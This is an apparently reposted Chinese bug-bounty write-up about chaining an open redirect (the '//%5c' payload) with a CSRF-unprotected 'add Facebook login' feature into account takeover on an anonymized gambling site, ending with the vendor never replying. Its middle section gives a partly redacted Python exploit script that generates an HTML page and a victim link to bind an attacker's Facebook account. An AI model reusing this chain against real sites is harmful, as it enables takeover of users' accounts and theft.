**我为了一个漏洞花了 5 小时 —— 然后被厂商 _彻底放鸽子_**

6 阅读3分钟

官网:http://securitytech.cc/

我为了一个漏洞花了 5 小时 —— 然后被厂商 彻底放鸽子

前言

翻看自己过去上报漏洞的记录,我发现了一个直到现在仍然萦绕在我心头的案例。

所以我决定把它写出来——好歹不让我的努力完全白费。


找到目标

那是 2024 年的某一天,一个普通的漏洞狩猎日。因为在各大平台一直撞重复,我开始使用我的老朋友 Google Dorking。

经典语法:

inurl:/.well-known/security.txt

经过一番筛选,我发现一家非常知名的博彩网站。简单分析后,我认为:

如果能找到东西,奖励几率非常大。

(结果我想多了)

出于保密原因,我不能公开公司名称,从现在起我们称它为:

example-gambling.com


开始调查

厂商没有说明子域是否在范围内,为了保险,我先看主域 www.example-gambling.com

我一边手测漏洞,一边让 Nuclei 在后台跑。

网站有很强的 WAF,这意味着:

  • XSS ❌
    • SQL 注入 ❌
    • 其他简单注入 ❌

不服输的决心

我不死心,继续翻:

  • IDOR
    • 竞争条件
    • SSRF
    • ……

依旧完全没结果。 而这时 Nuclei 扫描结束了,竟然发现一个 Open Redirect(开放重定向)

很多人发现后直接上报拿钱,但我觉得还有更大的东西。


开放重定向漏洞

重定向通过在 URL 末尾添加:

//%5c

可触发,例如:

https://example-gambling.com//%5cattacker.com

我意识到:

如果能把开放重定向和账号接管链起来,影响会更大。


突然的灵感

我想起登录页里有一个:

使用 Facebook 登录

同时,在用户设置里也可以添加第二登录方式,也是 Facebook。

于是我想到:

如果攻击者能把自己的 Facebook 账户添加到受害者账号作为“第二登录方式”,那攻击者就能直接登录对方账号!


把想法变成现实

我立刻测试。 出乎意料的是:

添加 Facebook 第二登录方式时,页面完全没有 CSRF 防护。

这意味着:

  • 受害者只要访问带恶意请求的页面
    • 就会自动把攻击者的 FB 账号绑定为“二次登录方式”

直接导致:

完整的账号接管


不能展示的部分

由于公司政策,我不能展示截图或具体 URL。

但我可以分享(经过大量修改的)Python 脚本:


Python 脚本(已修改)

import requests
import re

# Gambling FB OAuth
Facebook_OAuth_Url = "https://www.facebook.com/dialog/oauth?client_id=x&redirect_uri=https://gambling-example.com/Facebook"
Facebook_Cookies = input("[?] 输入攻击者的 Facebook Cookies: ")

# 必需的 FB 请求头
Headers = {
"Cookie": Facebook_Cookies,
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Content-Type": "application/x-www-form-urlencoded",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Te": "trailers",
}

# 获取赌博网站的 OAuth URL
Gambling_OAuth = requests.get(Facebook_OAuth_Url, headers=Headers, allow_redirects=False)

Gambling_OAuth_exploit_url = str(
re.findall(r"Cant Disclose That ):", str(Gambling_OAuth.headers))
).replace("['", "").replace("']", "").replace("eng-gabling-example.com", "www.gambling-example.com")

# 生成 HTML 用于隐藏成功提示与监控触发时间
Html_File = open('Exploit.html', 'w')
Html_File.write(f'''
<html>
<body>
<center><h1>一键账号接管!</h1></center>
<img src="{Gambling_OAuth_exploit_url}">
</body>
</html>
''')

# 利用开放重定向
Attackers_Website = input("[?] 输入攻击者托管 Exploit.html 的域名(不含 http/https): ")
Final_Gambling_Exploit = "https://gambling-example.com//%5c" + Attackers_Website

print("[!] 发给受害者的最终链接: " + Final_Gambling_Exploit)

脚本中最关键的是:

  • 用开放重定向提升危害
    • <img> 隐藏成功绑定提示并通知攻击者

上报

悲剧来了。

尽管漏洞非常高危对方完全没有回信

  • security.txt 邮箱 —— 没回复
    • 在线客服 —— 没回复
    • 支持工单 —— 也没回复

彻底石沉大海。


黑暗的一面

漏洞至今仍未修复。

这就是漏洞狩猎的阴暗面:

研究者付出巨大努力,却得不到认可;公司直接忽视或偷偷修复。


结语

故事讲完了。 Peace ✌️

公众号:安全狗的自我修养

vx:2207344074

Gitee:gitee.com/haidragon

GitHub:github.com/haidragon

Bilibili:haidragonx